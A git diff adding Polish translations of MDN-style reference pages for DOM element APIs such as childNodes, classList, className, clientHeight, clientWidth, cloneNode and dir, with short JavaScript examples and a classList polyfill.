+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval">var <var>listaWęzłów</var> = referencjaDoWęzłaElementu.childNodes;
+</pre>
+<p><var>listaWęzłów</var> to uporządkowana kolekcja obiektów węzłów, będącymi dziećmi bieżącego elementu. Jeśli element nie ma dzieci, <var>listaWęzłów</var> jest pusta.</p>
+<p><var>listaWęzłów</var> to zmienna przechowująca listę węzłów. Lista taka ma typ <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">NodeList</a>. Właściwość <code>childNodes</code> jest tylko do odczytu.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// parg to referencja do obiektu elementu &lt;p&gt;
+if (parg.hasChildNodes())
+// sprawdzamy czy obiekt nie jest pusty - czy ma dzieci
+ {
+ var children = parg.childNodes;
+ for (var i = 0; i &lt; children.length; i++)
+ {
+ // zrob cos z kazdym dzieckiem jako children[i]
+ // uwaga: lista "żyje", dodawanie bądź usuwanie dzieci ją zmieni
+ };
+ };
+</pre>
+<pre>// sposób na usunięcie wszystkich dzieci węzła
+// box to referencja do obiektu elementu, który ma dzieci
+while (box.firstChild)
+ {
+ //lista jest "żywa", więc będzie przeindeksowana po każdym wywołaniu
+ box.removeChild(box.firstChild);
+ };
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Elementy kolekcji węzłów są obiektami, a nie łańcuchami. By pobrać dane z tych obiektów, musisz użyć ich atrybutów (np. <code>referencjaDoWęzłaElementu.childNodes{{ mediawiki.external(1) }}.nodeName</code> by pobrać nazwę).</p>
+<p>Obiekt <code>document</code> ma dwoje dzieci: deklarację DOCTYPE i element <code>HTML</code>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1451460987">W3C DOM 2 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1451460987">W3C DOM 3 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">W3C DOM 3 NodeList interface</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.childNodes", "fr": "fr/DOM/element.childNodes", "ja": "ja/DOM/element.childNodes", "zh-cn": "cn/DOM/element.childNodes" } ) }}</p>
diff --git a/files/pl/web/api/element/classlist/index.html b/files/pl/web/api/element/classlist/index.html
new file mode 100644
index 0000000000..5e7112b8d5
--- /dev/null
+++ b/files/pl/web/api/element/classlist/index.html
@@ -0,0 +1,264 @@
+---
+title: Element.classList
+slug: Web/API/Element/classList
+translation_of: Web/API/Element/classList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Element.classList</strong></code> jest właściwością tylko do odczytu, która zwraca zbiór live {{domxref("DOMTokenList")}} atrybutów klasy danego elementu.</p>
+
+<p>Używanie <code>classList</code> stanowi wygodną alternatywę uzyskiwania dostępu do listy klas danego elementu w formie skompresowanego stringa poprzez {{domxref("element.className")}}.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">const <var>elementClasses</var> = elementNodeReference.classList;
+</pre>
+
+<p><em>elementClasses</em> to <a href="/en-US/docs/DOM/DOMTokenList">DOMTokenList</a> reprezentujący atrybuty klasy <em>elementNodeReference</em>. Jeśli atrybut klasy nie został określony lub jest pusty, <em>elementClasses.length</em> zwraca 0. Sam w sobie <code>element.classList</code> jest tylko do odczytu, ale można go mimo to modyfikować poprzez stosowanie metod <code>add()</code> i <code>remove()</code>.</p>
+
+<h2 id="Metody">Metody</h2>
+
+<dl>
+ <dt>add( String [, String] )</dt>
+ <dd>Nadaje określone wartości klasy. Jeśli wartości te już istnieją w atrybucie elementu, wówczas zostają zignorowane.</dd>
+ <dt>remove( String [,String] )</dt>
+ <dd>Usuwa określone wartości klasy.</dd>
+ <dt><strong>item</strong> ( Number )</dt>
+ <dd>Zwraca wartosć klasy wg indeksu w zbiorze.</dd>
+ <dt><strong>toggle</strong> ( String [, force] )</dt>
+ <dd>Jeśli występuje tylko jeden argument: Przełącza wartość klasy, tzn. jeśli klasa istnieje, wówczas <u>zostaje usunięta</u> i zwraca <code>false</code>, jeśli nie, wówczas <u>dodaje ją</u> i zwraca <code>true</code>.<br>
+ Jeśli występuje również drugi argument: Jeśli drugi argument uznawany jest za true, dodaje określoną wartość klasy, natomiast jeśli zostaje uznany za false, wówczas zostaje usunięty.</dd>
+ <dt>contains( String )</dt>
+ <dd>Sprawdza, czy określona wartość klasy istnieje w atrybucie klasy danego elementu.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">// div jest obiektem odwołującym się do elementu &lt;div&gt; o klasie ="foo bar"
+div.classList.remove("foo");
+div.classList.add("anotherclass");
+
+// jeśli ustawiona jest widoczność usuwa ją, w przeciwnym wypadku dodaje
+div.classList.toggle("visible");
+
+// dodaj/usuń (add/remove) jest widoczne, w zależności od warunku testowego, <code>i</code> mniejsze od 10
+div.classList.toggle("visible", i &lt; 10 );
+
+alert(div.classList.contains("foo"));
+
+// dodaj lub usuń złożone klasy
+div.classList.add("foo", "bar");
+div.classList.remove("foo", "bar");</pre>
+
+<div class="note">
+<p>Wersje Firefoxa wcześniejsze niż 26 nie implementują użycia niektórych argumentów metod dodaj/usuń/przełącz (add/remove/toggle). Zobacz <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814014">https://bugzilla.mozilla.org/show_bug.cgi?id=814014</a></p>
+</div>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush:js">// Źródło: https://gist.github.com/k-gun/c2ea7c49edf7b757fe9561ba37cb19ca
+;(function() {
+ // pomocnicy
+ var regExp = function(name) {
+ return new RegExp('(^| )'+ name +'( |$)');
+ };
+ var forEach = function(list, fn, scope) {
+ for (var i = 0; i &lt; list.length; i++) {
+ fn.call(scope, list[i]);
+ }
+ };
+
+ // obiekt listy klasy z podstawowymi metodami
+ function ClassList(element) {
+ this.element = element;
+ }
+
+ ClassList.prototype = {
+ add: function() {
+ forEach(arguments, function(name) {
+ if (!this.contains(name)) {
+ this.element.className += this.element.className.length &gt; 0 ? ' ' + name : name;
+ }
+ }, this);
+ },
+ remove: function() {
+ forEach(arguments, function(name) {
+ this.element.className =
+ this.element.className.replace(regExp(name), '');
+ }, this);
+ },
+ toggle: function(name) {
+ return this.contains(name)
+                ? (this.remove(name), false) : (this.add(name), true);
+ },
+ contains: function(name) {
+ return regExp(name).test(this.element.className);
+ },
+ // bonus..
+ replace: function(oldName, newName) {
+ this.remove(oldName), this.add(newName);
+ }
+ };
+
+ // IE8/9, Safari
+ if (!('classList' in Element.prototype)) {
+ Object.defineProperty(Element.prototype, 'classList', {
+ get: function() {
+ return new ClassList(this);
+ }
+ });
+ }
+
+ // replace() wspierane przez pozostałe przeglądarki
+ if (window.DOMTokenList &amp;&amp; DOMTokenList.prototype.replace == null) {
+ DOMTokenList.prototype.replace = ClassList.prototype.replace;
+ }
+})();
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specifikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "dom.html#dom-classlist", "Element.classList")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>Note within the HTML specification related to the {{htmlattrxref("class")}} attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Zgodność podstawowa</td>
+ <td>8</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+ <td>10<sup>[1]</sup></td>
+ <td>11.50</td>
+ <td>5.1</td>
+ </tr>
+ <tr>
+ <td><code>toggle()</code> method's second argument</td>
+ <td>24</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop(24)}}</td>
+ <td>{{CompatNo}}<sup>[2]</sup></td>
+ <td>15</td>
+ <td>7</td>
+ </tr>
+ <tr>
+ <td>Multiple arguments for <code>add()</code> &amp; <code>remove()</code></td>
+ <td>28</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop(26)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>15</td>
+ <td>7</td>
+ </tr>
+ <tr>
+ <td><code>replace()</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("49")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>3.0</td>
+ <td>12</td>
+ <td>{{CompatGeckoMobile(1.9.2)}}</td>
+ <td>10<sup>[1]</sup></td>
+ <td>11.10</td>
+ <td>5.0</td>
+ </tr>
+ <tr>
+ <td>toggle method's second argument</td>
+ <td>4.4</td>
+ <td>12</td>
+ <td>{{CompatGeckoMobile(24)}}</td>
+ <td>{{CompatNo}}<sup>[2]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>7.0</td>
+ </tr>
+ <tr>
+ <td>multiple arguments for <code>add()</code> &amp; <code>remove()</code></td>
+ <td>4.4</td>
+ <td>12</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>7.0</td>
+ </tr>
+ <tr>
+ <td><code>replace()</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("49")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Brak wsparcia dla elementów SVG. Zobacz <a href="https://connect.microsoft.com/IE/feedback/details/1046039/classlist-not-working-on-svg-elements">raport w tej kwestii na stronie Microsoftu</a>.<br>
+ [2] Internet Explorer nigdy tego nie zimplementował. Zobacz <a href="https://connect.microsoft.com/IE/feedback/details/878564/element-classlist-toggle-does-not-support-second-parameter">raport w tej kwestii na stronie Microsoftu</a>.</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{domxref("element.className")}}</li>
+ <li>{{domxref("DOMTokenList")}}</li>
+</ul>
diff --git a/files/pl/web/api/element/classname/index.html b/files/pl/web/api/element/classname/index.html
new file mode 100644
index 0000000000..31f21befb2
--- /dev/null
+++ b/files/pl/web/api/element/classname/index.html
@@ -0,0 +1,37 @@
+---
+title: element.className
+slug: Web/API/Element/className
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/className
+---
+<div>
+ {{APIRef}}</div>
+<div>
+  </div>
+<div>
+ <span style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Podsumowanie</span></div>
+<p><strong>className </strong> pobiera/ustawia wartość atrybutu <code>class</code> bieżącego elementu.</p>
+<h2 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h2>
+<pre class="syntaxbox">var <var>nazwaKlasy</var> = referencjaDoWęzłaElementu.className;
+referencjaDoWęzłaElementu.className = <var>nazwaKlasy</var>;
+</pre>
+<ul>
+ <li><var>nazwaKlasy</var> to łańcuch znaków reprezentujący klasę lub rozdzieloną spacjami listę klas bieżącego elementu.</li>
+</ul>
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+<pre class="brush:js">var elementNodeReference = document.getElementById("div1");
+
+if (elementNodeReference.className == "fixed") {
+ // pomiń elementy określonej klasy
+ goNextElement();
+};</pre>
+<h2 id="Uwagi" name="Uwagi">Uwagi</h2>
+<p>Dla tej właściwości użyto nazwy <code>className</code>, a nie <code>class</code>, ponieważ "class" jest w wielu językach korzystających z DOM słowem kluczowym.</p>
+<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95362176">DOM Level 2 HTML: className</a></li>
+</ul>
diff --git a/files/pl/web/api/element/click/index.html b/files/pl/web/api/element/click/index.html
new file mode 100644
index 0000000000..5c0fe512d5
--- /dev/null
+++ b/files/pl/web/api/element/click/index.html
@@ -0,0 +1,23 @@
+---
+title: element.click
+slug: Web/API/Element/click
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLElement/click
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Metoda <code>click</code> wywołuje kliknięcie na bieżącym elemencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">element.click()
+</pre>
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+<p>Metoda <code>click</code> symuluje zdarzenie kliknięcia na bieżącym elemencie. Zwykle używa się tego by wywołać obsługę zdarzenia przypisaną do elementu bieżącego bądź leżącego wyżej w "łańcuchu zdarzeń".</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-2651361">click</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.click", "fr": "fr/DOM/element.click" } ) }}</p>
diff --git a/files/pl/web/api/element/clientheight/index.html b/files/pl/web/api/element/clientheight/index.html
new file mode 100644
index 0000000000..7014fd35f5
--- /dev/null
+++ b/files/pl/web/api/element/clientheight/index.html
@@ -0,0 +1,47 @@
+---
+title: element.clientHeight
+slug: Web/API/Element/clientHeight
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/clientHeight
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca wewnętrzną wysokość elementu w pikselach, włączając marginesy wewnętrzne (
+ <i>
+ padding</i>
+ ), ale bez poziomego paska przewijania, obramowań i marginesów zewnętrznych (
+ <i>
+ margin</i>
+ ).</p>
+<p><code>clientHeight</code> można wyliczyć jako (właśność <code>height</code> CSS) + (<code>padding</code> w CSS) - (wysokość poziomego paska przewijania (jeśli jest)).</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval">var <var>h</var> = <var>element</var>.clientHeight;
+</pre>
+<p><var>h</var> to liczba całkowita reprezentująca <code>clientHeight</code> <var>element</var>u w pikselach.</p>
+<p><code>clientHeight</code> jest tylko do odczytu.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+ <div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+ <p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+ <p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+ <p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+ <p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/" rel="freelink">http://www.best-cat-art.com/</a></p>
+ <p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+ </div>
+ <span style="position: absolute; left: -32px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Left</span><span style="position: absolute; left: 170px; top: -20px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Top</span><span style="position: absolute; left: 370px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Right</span><span style="position: absolute; left: 164px; top: 203px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Bottom</span><span style="position: absolute; left: 143px; top: 5px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-top</span><span style="position: absolute; left: 138px; top: 175px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-bottom</span><span style="position: absolute; left: 143px; top: 27px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-top</span><span style="position: absolute; left: 138px; top: 153px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-bottom</span></div>
+<p style="margin-top: 270px;"><img alt="Grafika:clientHeight.png"></p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>Nie należy do żadnej ze specyfikacji W3C.</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><code>clientHeight</code> jest niestandardową właściwością, wprowadzoną w modelu obiektowym przeglądarki Internet Explorer.</p>
+<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3>
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clientheight.asp?frame=true">MSDN clientHeight definition</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN Measuring Element Dimension and Location</a></li>
+ <li><a class="external" href="http://www.mozilla.org/docs/dom/domref/clientHeight.html">Gecko DOM Reference on clientHeight</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.clientHeight", "fr": "fr/DOM/element.clientHeight", "ja": "ja/DOM/element.clientHeight", "zh-cn": "cn/DOM/element.clientHeight" } ) }}</p>
diff --git a/files/pl/web/api/element/clientnode/index.html b/files/pl/web/api/element/clientnode/index.html
new file mode 100644
index 0000000000..eb0550678b
--- /dev/null
+++ b/files/pl/web/api/element/clientnode/index.html
@@ -0,0 +1,32 @@
+---
+title: element.cloneNode
+slug: Web/API/Element/clientNode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/cloneNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Metoda <b>cloneNode</b> zwraca kopię bieżącego węzła.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">kopiaWęzła = element.cloneNode(<i>głębokość</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>głębokość</code> jest wartością logiczną, oznaczającą, czy kopiowanie ma być głębokie czy nie (zob. uwagi poniżej)</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>p = document.getElementById("para1");
+p_prime = p.cloneNode(true);
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Kopia węzła zwrócona przez <b>cloneNode()</b> nie ma rodzica. Podczas klonowania węzła skopiowane zostają wszystkie jego atrybuty i ich wartości, ale nie zostaje skopiowana treść zawarta w węźle, ponieważ treść ta przechowywana jest w węźle potomnym typu <code>Text</code>.</p>
+<p>Głębokie klonowanie kopiuje i zwraca węzeł wraz z całym drzewem pod nim się znajdującym (w tym treścią z potomnych węzłów <code>Text</code>) .</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://w3.org/TR/DOM-Level-2-Core/core.html#ID-3A0ED0A4">DOM Level 2 Core: cloneNode</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.cloneNode", "fr": "fr/DOM/element.cloneNode", "ja": "ja/DOM/element.cloneNode", "pt": "pt/DOM/element.cloneNode", "zh-cn": "cn/DOM/element.cloneNode" } ) }}</p>
diff --git a/files/pl/web/api/element/clientwidth/index.html b/files/pl/web/api/element/clientwidth/index.html
new file mode 100644
index 0000000000..5cf48d16ad
--- /dev/null
+++ b/files/pl/web/api/element/clientwidth/index.html
@@ -0,0 +1,47 @@
+---
+title: element.clientWidth
+slug: Web/API/Element/clientWidth
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/clientWidth
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>clientWidth</b> to wewnętrzna szerokość elementu w pikselach. Zawiera margines wewnętrzny (
+ <i>
+ padding</i>
+ ), ale pomija pionowy pasek przewijania (jeśli jest obecny lub renderowany), obramowania i margines zewnętrzny (
+ <i>
+ margin</i>
+ ).</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval">var <var>w</var> = <var>element</var>.clientWidth;
+</pre>
+<p><var>w</var> to liczba całkowita odpowiadająca <b>clientWidth</b> <var>element</var>u w pikselach. <b>clientWidth</b> jest tylko do odczytu.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+ <div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+ <p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+ <p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+ <p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+ <p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+ <p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+ </div>
+ <span style="position: absolute; left: -32px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Left</span><span style="position: absolute; left: 170px; top: -24px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Top</span><span style="position: absolute; left: 370px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Right</span><span style="position: absolute; left: 164px; top: 203px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Bottom</span><span style="position: absolute; left: 143px; top: 5px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-top</span><span style="position: absolute; left: 138px; top: 175px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-bottom</span><span style="position: absolute; left: 143px; top: 27px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-top</span><span style="position: absolute; left: 138px; top: 153px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-bottom</span><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+<p style="margin-top: 270px;"><img alt="Image:clientWidth.png"></p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>Nie należy do żadnej ze specyfikacji W3C.</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><b>clientWidth</b> został wprowadzony w modelu obiektowym DHTML przeglądarki Internet Explorer.</p>
+<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3>
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clientwidth.asp?frame=true">MSDN clientWidth definition</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN Measuring Element Dimension and Location</a></li>
+ <li><a class="external" href="http://www.mozilla.org/docs/dom/domref/clientWidth.html">Gecko DOM Reference on clientWidth</a></li>
+</ul>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.clientWidth", "fr": "fr/DOM/element.clientWidth" } ) }}</p>
diff --git a/files/pl/web/api/element/dir/index.html b/files/pl/web/api/element/dir/index.html
new file mode 100644
index 0000000000..5e20e1e6ad
--- /dev/null
+++ b/files/pl/web/api/element/dir/index.html
@@ -0,0 +1,34 @@
+---
+title: element.dir
+slug: Web/API/Element/dir
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLElement/dir
+---
+<div>
+ {{ApiRef}}</div>
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+<p>Atrybut <strong>dir</strong> ustawia lub pobiera kierunek pisania tekstu dla zawartości bieżącego elementu.</p>
+<h2 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h2>
+<pre class="syntaxbox">var <var>bieżącyKierunekPisania</var> = elementNodeReference.dir;
+elementNodeReference.dir = <var>nowyKierunekPisania</var>;
+</pre>
+<p><var>bieżącyKierunekPisania</var> jest łańcuchem reprezentującym kierunek pisania tekstu bieżącego elementu. <var>nowyKierunekPisania</var> to zmienna łańcuchowa, której wartość reprezentuje kierunek pisania tekstu.</p>
+<p>Możliwe wartości <strong>dir</strong> to <code>ltr</code> dla "od lewej do prawej" i <code>rtl</code> dla "od prawej do lewej".</p>
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+<pre class="brush:js">var parg = document.getElementById("para1");
+
+parg.dir = "rtl";
+// zmienia kierunek tekstu w paragrafie "para1"
+</pre>
+<h2 id="Uwagi" name="Uwagi">Uwagi</h2>
+<p>Kierunek pisania tekstu elementu oznacza kierunek, w którym idzie tekst (do obsługi różnych języków). Języki arabski i hebrajski to typowe przykłady użycia kierunku <em>rtl</em>.</p>
+<p>Obrazek może mieć atrybut <em>dir</em> ustawiony na <em>rtl</em>. W takim wypadku atrybuty <em>title</em> i <em>alt</em> będą sformatowane i wyświetlona jako <em>rtl</em>.</p>
+<p>Jeśli tabela ma kierunek <em>rtl</em>, kolumny porządkowane są od prawej do lewej.</p>
+<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2>
+<ul>
